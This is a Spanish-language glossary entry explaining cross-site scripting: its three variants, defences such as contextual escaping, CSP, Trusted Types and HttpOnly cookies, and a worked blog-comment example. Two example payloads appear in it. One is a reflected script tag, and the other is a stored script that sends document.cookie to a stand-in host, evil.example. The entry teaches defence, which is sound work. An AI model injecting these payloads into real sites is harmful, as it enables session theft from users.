Skip to content

Glossary

XSS

Cross-Site Scripting

By Published Updated

XSS (Cross-Site Scripting — la X es un error tipográfico histórico que persistió) es un ataque de inyección donde JavaScript controlado por el atacante se ejecuta en el navegador de la víctima en el contexto de un sitio de confianza. Tres variantes:

  • XSS reflejado — el atacante elabora una URL que contiene JavaScript; la víctima hace clic; el sitio devuelve el parámetro de URL sin escapar y el script se ejecuta. Ejemplo: ?search=<script>evil()</script>.
  • XSS almacenado — el atacante envía contenido malicioso (un comentario, una biografía de perfil) que el sitio almacena y luego renderiza sin escapar para otros usuarios. Peor que el reflejado porque se activa automáticamente para cada visitante.
  • XSS basado en DOM — el script se ejecuta puramente en el cliente, sin que el contenido malicioso toque nunca el servidor. A menudo a través de document.write, innerHTML o el manejo inseguro de fragmentos de URL.

Defensas: codificación de salida contextual (escape HTML al renderizar, escape JS dentro de bloques de script, codificación URL para href). Cabeceras Content Security Policy (CSP) como defensa en profundidad. Los motores de plantillas que escapan automáticamente (Jinja, ERB, React JSX) eliminan la mayoría de XSS reflejados y almacenados por defecto.

XSS sigue en el OWASP Top 10 no porque la solución sea difícil, sino porque es fácil saltarse el escape automático con escotillas de escape del estilo de dangerouslySetInnerHTML y un solo lugar olvidado arruina toda la defensa.

La sensibilidad al contexto que nadie respeta: el escape HTML (&lt; para <) es correcto para insertar contenido del usuario en el cuerpo del texto HTML. Es incorrecto en cualquier otro lugar. Dentro de un bloque <script>, necesitas escape de cadenas JavaScript. Dentro de un atributo href=, necesitas codificación URL más un bloque de esquema javascript:. Dentro de un CSS style=, necesitas un escape diferente que elimine las expresiones CSS. Dentro de un atributo de controlador de eventos (onclick=), necesitas tanto escape HTML como escape JS anidados. Los motores de plantillas que “simplemente escapan todo HTML” silenciosamente pasan por alto los contextos de atributo, URL y controlador de eventos — DOMPurify o una biblioteca con conocimiento del contexto maneja el conjunto completo.

Trusted Types — la defensa moderna liderada por Chrome: Trusted Types (Borrador de trabajo del W3C, lanzado en Chrome desde la versión 83) es una API del navegador que se niega a aceptar cadenas brutas en sumideros de inyección como innerHTML, document.write o setAttribute. El código debe marcar explícitamente un valor como “de confianza” a través de un saneador, o la asignación lanza un TypeError. Habilitado mediante Content-Security-Policy: require-trusted-types-for 'script', esto convierte efectivamente cada sumidero de XSS potencial en un error en tiempo de compilación en lugar de una vulnerabilidad en tiempo de ejecución. La adopción aún es gradual, pero la trayectoria de seguridad de los nuevos marcos web se dirige claramente hacia la compatibilidad con Trusted Types. Referencia: OWASP — Cross-site Scripting (XSS).

Ejemplo práctico

Un blog acepta un comentario y renderiza <div>{comment}</div> en el servidor sin escapar. El atacante envía <script>fetch('https://evil.example/steal?c='+document.cookie)</script>. Cada visitante posterior carga la página, el script se ejecuta en el origen del blog y su cookie de sesión es exfiltrada. Mitigación en tres capas: (1) escapar HTML el comentario al renderizar para que < se convierta en &lt; — el script se renderiza como texto literal. (2) Establecer la cookie con HttpOnly; Secure; SameSite=Strict para que incluso si XSS llega, la cookie no sea accesible desde JavaScript. (3) Desplegar un CSP estricto: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m'; object-src 'none'; base-uri 'none' — los scripts inline sin el nonce correspondiente son bloqueados, por lo que una etiqueta <script> inyectada no puede ejecutarse aunque el escape falle. Defensa en profundidad: cualquiera de las capas habría detenido el ataque; juntas hacen que la clase de error sea casi inexistente.

Cuándo y por qué importa

XSS es la vulnerabilidad de caballo de batalla para el robo de credenciales, el secuestro de sesiones y la toma de control con un solo clic. La brecha de British Airways de 2018 (380 000 datos de tarjetas exfiltrados), la brecha de Ticketmaster de 2018 y la larga serie de Magecart comenzaron todas como variantes de XSS o inyección de scripts de la cadena de suministro. La buena noticia es que los marcos modernos (React, Vue, Angular, Svelte) escapan automáticamente los valores interpolados por defecto — la clase de error es mucho más rara en el código nuevo que hace una década. La mala noticia es que cada marco proporciona una escotilla de escape (dangerouslySetInnerHTML, v-html, [innerHTML], {@html ...}) a la que inevitablemente recurre un desarrollador cansado, a menudo para inyectar contenido del CMS o widgets de terceros. El manual defensivo: habilitar CSP con nonces o hashes, establecer HttpOnly en las cookies de sesión, usar DOMPurify para cualquier caso en que debas aceptar HTML y auditar los resultados de grep para las API de escotilla de escape del marco en el momento del PR. Referencia: Hoja de referencia de prevención de XSS de OWASP.

Frequently asked questions

¿Qué es XSS (Cross-Site Scripting)?
XSS es una vulnerabilidad de seguridad web donde un atacante inyecta JavaScript malicioso en el contenido que luego renderiza el navegador de la víctima en el contexto de un sitio de confianza, permitiendo que el script robe cookies, capture pulsaciones de teclas o realice acciones como el usuario conectado.
¿Cuáles son los tres tipos de XSS en la práctica?
XSS reflejado: el payload está en la URL y se devuelve en la respuesta de inmediato. XSS almacenado: el payload se guarda en una base de datos (p. ej., un comentario) y se renderiza para cada visitante posterior. XSS basado en DOM: el JavaScript del lado del cliente escribe datos controlados por el atacante en el DOM sin saneamiento.
¿Cuál es la diferencia entre XSS y CSRF?
XSS inyecta y ejecuta código malicioso en el navegador de la víctima desde dentro de un sitio de confianza — el atacante controla lo que se ejecuta. CSRF engaña al navegador de un usuario conectado para que realice solicitudes no deseadas a un sitio de confianza usando las propias credenciales del usuario — el código del propio sitio se ejecuta, pero con intención falsificada.

Related

Published May 15, 2026 · Last reviewed May 31, 2026